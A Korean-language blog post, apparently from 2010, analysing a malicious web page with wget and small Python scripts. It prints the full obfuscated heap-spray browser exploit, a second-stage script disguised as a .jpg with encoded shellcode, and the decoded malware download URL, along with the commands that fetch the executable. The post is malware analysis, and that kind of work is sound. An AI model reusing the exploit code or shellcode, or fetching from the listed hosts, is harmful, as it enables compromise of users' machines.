나중에 작업 환경이 리눅스로 바뀐다면 Malzilla 같은 툴 없이 분석을 쉽게 하기 위해 노가다로 스크립트를 작성해서 한번 찬찬히 분석을 진행해 보았습니다.
제가 작성한 스크립트들이 거지같더라도 이해해 주시길 바라며 분석할 대상 URL은 hxxp://202.133.245.100/exam.asp 입니다.
(주의! 함부로 접속하지 마세요.)
먼저 wget을 이용하여 해당 스크립트를 다운로드 하여 살펴보도록 하겠습니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
| [byjjoon@ByJJoon Script Analysis]$ wget http://211.234.118.207/main.html
--2010-05-09 19:15:35-- http://211.234.118.207/main.html
Connecting to 211.234.118.207:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1624 (1.6K) [text/html]
Saving to: `main.html'
100%[===============================================================================================================>] 1,624 --.-K/s in 0s
2010-05-09 19:15:35 (89.3 MB/s) - `main.html' saved [1624/1624]
[byjjoon@ByJJoon Script Analysis]$ cat main.html
<script src="http://s87.cnzz.com/stat.php?id=790440&web_id=790440" language="JavaScript"></script>
<SCRIPT LANGUAGE="JavaScript">
<!-- Hide
function killErrors() {
return true;
}
window.onerror = killErrors;
// -->
</SCRIPT>
<script src="rl.jpg"></script>
<script src="yt1.jpg"></script>
<script src="ytl.jpg"></script>
<BUTTON
id=PPSytytYYtTTyyutian
style="DISPLAY: none"
onclick=newTyPPSytytYYtTTyyutianAVpYyTt();></BUTTON>
<SCRIPT
language=javascript>
function
PPSytytYYtTTyyutianAVp(){
YtYtTyPPSytytYYtTTyyutianAVpYyTt
= new Array();
var
BIytKKTyPPSytytYYtTTyyutianAVpYyTt =
0x86000-(PPSytytYYtTTyyutianAVpYyTt.length*2);
var nopaca = 'kaix0c0c'+'kaix0c0c';
var LFlwBa=unescape(nopaca.replace(/kaix/g,'%u'));
while(LFlwBa.length<BIytKKTyPPSytytYYtTTyyutianAVpYyTt/2)
{ LFlwBa+=LFlwBa; }
var
youxiYTYTyyttYtTYyTian
=
LFlwBa.substring(0,BIytKKTyPPSytytYYtTTyyutianAVpYyTt/2);
delete
LFlwBa;
for(YTiancazaWaGa=0;
YTiancazaWaGa<270; YTiancazaWaGa++)
YtYtTyPPSytytYYtTTyyutianAVpYyTt[YTiancazaWaGa]
=
youxiYTYTyyttYtTYyTian
+
youxiYTYTyyttYtTYyTian
+
PPSytytYYtTTyyutianAVpYyTt;
}
function
newTyPPSytytYYtTTyyutianAVpYyTt(){
PPSytytYYtTTyyutianAVp();
var
yutYianYtAYtVP =
document.createElement('bo'+'dy');
yutYianYtAYtVP.addBehavior('#default#userData');
document.appendChild(yutYianYtAYtVP);
try
{
for (YTiancazaWaGa=0;
YTiancazaWaGa<10; YTiancazaWaGa++)
yutYianYtAYtVP.setAttribute('s',window);
} catch(e){ }
window.status+='';
}
document.getElementById('PPSytytYYtTTyyutian').onclick();
</SCRIPT>
|
jpg 파일을 위장하여 몇개의 스크립트가 더 포함되어 있음을 알 수 있습니다. 그 중 yt1.jpg 파일을 다운로드 하도록 하겠씁니다.
(왜 이 파일을 다운로드 하냐면.... 워낙 이런 류를 많이봐서 이젠 감이 오네요 -_-;)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| [byjjoon@ByJJoon Script Analysis]$ wget http://211.234.118.207/yt1.jpg
--2010-05-09 19:15:58-- http://211.234.118.207/yt1.jpg
Connecting to 211.234.118.207:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 493 [image/jpeg]
Saving to: `yt1.jpg'
100%[===============================================================================================================>] 493 --.-K/s in 0s
2010-05-09 19:15:58 (36.9 MB/s) - `yt1.jpg' saved [493/493]
[byjjoon@ByJJoon Script Analysis]$ cat yt1.jpg
try {
new ActiveXObject("kYTx");
}
catch (e) {
var YTMTV="%ud5db%uc9c9%u87cd%u9292%uc8d7%udad3%ud2da%udcd0%ud4d3%u93dc%ud8d3%udbdb%uded4%ud8d4%uc9d3%ude93%u93d2%ucfd6%uc992%uced8%u93c9%uc5d8%uBDd8%uBD";
var YTavp123="%u58yutianayt58%u58yutianayt58%u10yutianaytEB%u4Byutianayt5B%uC9yutianayt33%uB9yutianayt66%u03yutianaytB8%u34yutianayt80%uBDyutianayt0B%uFAE2%u05yutianaytEB%uEByutianaytE8%uFFyutianaytFF";
var YTavp1=(YTavp123.replace(/yutianayt/g,""));
|
여기서 YTMTV 변수의 코드가 악성코드를 다운로드 하는 URL이 포함된 변수 입니다. 해당 변수 값을 따로 저장하도록 하겠습니다.
1
2
3
4
5
6
7
8
9
10
11
12
| [byjjoon@ByJJoon Script Analysis]$ echo '%ud5db%uc9c9%u87cd%u9292%uc8d7%udad3%ud2da%udcd0%ud4d3%u93dc%ud8d3%udbdb%uded4%ud8d4%uc9d3%ude93%u93d2%ucfd6%uc992%uced8%u93c9%uc5d8%uBDd8' > shellcode.dump
[byjjoon@ByJJoon Script Analysis]$ xxd shellcode.dump
0000000: 2575 6435 6462 2575 6339 6339 2575 3837 %ud5db%uc9c9%u87
0000010: 6364 2575 3932 3932 2575 6338 6437 2575 cd%u9292%uc8d7%u
0000020: 6461 6433 2575 6432 6461 2575 6463 6430 dad3%ud2da%udcd0
0000030: 2575 6434 6433 2575 3933 6463 2575 6438 %ud4d3%u93dc%ud8
0000040: 6433 2575 6462 6462 2575 6465 6434 2575 d3%udbdb%uded4%u
0000050: 6438 6434 2575 6339 6433 2575 6465 3933 d8d4%uc9d3%ude93
0000060: 2575 3933 6432 2575 6366 6436 2575 6339 %u93d2%ucfd6%uc9
0000070: 3932 2575 6365 6438 2575 3933 6339 2575 92%uced8%u93c9%u
0000080: 6335 6438 2575 4244 6438 0a c5d8%uBDd8.
[byjjoon@ByJJoon Script Analysis]$
|
이제 저장한 파일을 Hex값으로 변환해야 하는데 여기서 사용하는 스크립트 코드는 아래와 같습니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| #!/usr/bin/python
import sys, binascii
if len(sys.argv) != 2:
print 'Usage : ' + sys.argv[0] + ' ShellcodeFile'
sys.exit(1)
input = open(sys.argv[1], 'r')
shellcode = input.read()
paser = shellcode.split('%u')
code = ''
for x in paser:
code += x[2:4] + x[0:2]
code = binascii.a2b_hex(code)
output = open('output.bin', 'wb')
output.write(code)
|
위 코드를 이용하여 아래와 같이 변환할 수 있습니다.
1
2
3
4
5
6
7
| [byjjoon@ByJJoon Script Analysis]$ ./ucs2_to_hex.py shellcode.dump
[byjjoon@ByJJoon Script Analysis]$ ls -al output.bin
-rw-rw-r-- 1 byjjoon byjjoon 46 2010-05-09 19:17 output.bin
[byjjoon@ByJJoon Script Analysis]$ xxd output.bin
0000000: dbd5 c9c9 cd87 9292 d7c8 d3da dad2 d0dc ................
0000010: d3d4 dc93 d3d8 dbdb d4de d4d8 d3c9 93de ................
0000020: d293 d6cf 92c9 d8ce c993 d8c5 d8bd ..............
|
변환은 되었는데 제대로 값이 안나오는군요. 이런류는 대부분 XOR 인코딩을 이용해 주소값을 감추고 있습니다. 이러한 내용은 제일 처음에 받았던 스크립트의 쉘코드 부분에 기록되어 있습니다. 그에 대한 자세한 분석은 다음에 하도록 하죠 :D
이제 XOR 키를 찾기 위해 아래 스크립트를 이용합니다. 아래 스크립트는 원하는 문자열이 나올떄 0x00 ~ 0xFF까지 브루트포스하여 원하는 문자열이 나올때 해당 키값과 디코딩한 문자열을 출력해주는 스크립트 입니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
| #!/usr/bin/python
import sys, operator
def find_key(data, findstr):
for x in range(len(data)):
for y in range(255):
count = 0
for z in findstr:
if operator.xor(ord(data[x+count]), y) == ord(z):
count += 1
else:
continue
if count == len(findstr):
print '[+] Find key : ' + str(hex(y))
apply_xor(data, y, x)
print '[+] End'
sys.exit(1)
def apply_xor(data, key, pos):
tmp = data[pos:]
output = ''
for x in range(len(tmp)):
output += chr(operator.xor(ord(tmp[x]), int(key)))
print '[+] Apply XOR : ' + output
def main():
if len(sys.argv) != 3:
print 'Usage : ' + sys.argv[0] + ' Filename FindStrings'
sys.exit(1)
input = open(sys.argv[1], 'rb')
find_str = sys.argv[2]
data = input.read()
print '[+] Start'
find_key(data, find_str)
if __name__ == '__main__':
main()
|
이제 위 스크립트를 이용하여 XOR 키와 찾은 키로 디코딩을 해보도록 하겠습니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
| [byjjoon@ByJJoon Script Analysis]$ ./xor_search.py output.bin http
[+] Start
[+] Find key : 0xbd
[+] Apply XOR : http://junggomania.nefficient.co.kr/test.exe
[+] End
[byjjoon@ByJJoon Script Analysis]$ wget http://junggomania.nefficient.co.kr/test.exe
--2010-05-09 19:18:22-- http://junggomania.nefficient.co.kr/test.exe
Resolving junggomania.nefficient.co.kr... 211.233.40.35
Connecting to junggomania.nefficient.co.kr|211.233.40.35|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 52736 (52K) [application/octet-stream]
Saving to: `test.exe'
100%[===============================================================================================================>] 52,736 --.-K/s in 0.09s
2010-05-09 19:18:23 (548 KB/s) - `test.exe' saved [52736/52736]
[byjjoon@ByJJoon Script Analysis]$ file test.exe
test.exe: PE32 executable for MS Windows (GUI) Intel 80386 32-bit
[byjjoon@ByJJoon Script Analysis]$
|
디코딩된 URL에서 다운로드 한 파일이 정상적인 PE 파일임을 확인할 수 있었습니다.